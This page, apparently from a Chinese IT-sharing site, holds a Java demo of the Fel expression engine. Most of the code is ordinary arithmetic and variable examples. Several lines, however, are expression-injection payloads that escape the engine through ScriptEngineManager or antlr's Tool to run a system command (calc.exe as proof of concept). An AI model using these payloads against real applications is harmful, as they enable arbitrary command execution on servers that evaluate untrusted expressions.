大家好,欢迎来到IT知识分享网。
Fel表达式注入命令执行Demo
package com.his;
import com.greenpineyu.fel.Expression;
import com.greenpineyu.fel.FelEngine;
import com.greenpineyu.fel.FelEngineImpl;
import com.greenpineyu.fel.context.FelContext;
public class Main {
public static void main(String[] args) {
//调用静态方法
Object resultstatic = FelEngine.instance.eval("$('javax.script.ScriptEngineManager.new').getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command('calc.exe'); x.start()\")");
System.out.println(resultstatic);
//算术表达式
FelEngine fel= new FelEngineImpl();
Object result= fel.eval("5000*12+7500");
System.out.println(result);
//调用Math.min(1,2)
Object resultMath = FelEngine.instance.eval("$('Math').min(1,2)");
System.out.println(resultMath);
// org.apache.commons.lang.StringUtils strings = new org.apache.commons.lang.StringUtils();
// javax.script.ScriptEngineManager script = new javax.script.ScriptEngineManager();
//变量
FelContext ctx= fel.getContext();
ctx.set("单价", 5000);
ctx.set("数量", 12);
ctx.set("运费", 7500);
Object result_v= fel.eval("单价*数量+运费");
System.out.println(result_v);
//调用java方法1
FelEngine feljava= new FelEngineImpl();
FelContext ctx1= feljava.getContext();
ctx1.set("out", System.out);
feljava.eval("out.println('Hello Everybody'.substring(6))");
//调用java方法1
FelEngineImpl engine = new FelEngineImpl();
// Object eval = engine.eval("$(Runtime).getRuntime.exec('calc.exe')"); //被禁用
// Object eval = engine.eval("$(System).exit(0)"); //被禁用
// System.out.println(eval);
//编译执行
FelEngine felcompile= new FelEngineImpl();
FelContext ctxcompile= felcompile.getContext();
ctxcompile.set("单价", 5000);
ctxcompile.set("数量", 12);
ctxcompile.set("运费", 7500);
Expression exp= felcompile.compile("单价*数量+运费",ctxcompile);
Object resultcompile= exp.eval(ctxcompile);
System.out.println(resultcompile);
//String expression = "$('antlr.build.Tool.new').system(\"calc.exe\")";
// fel.eval(expression);
}
}
依赖包:
https://mvnrepository.com/artifact/javax.script/script-api/1.0
免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://yundeesoft.com/10789.html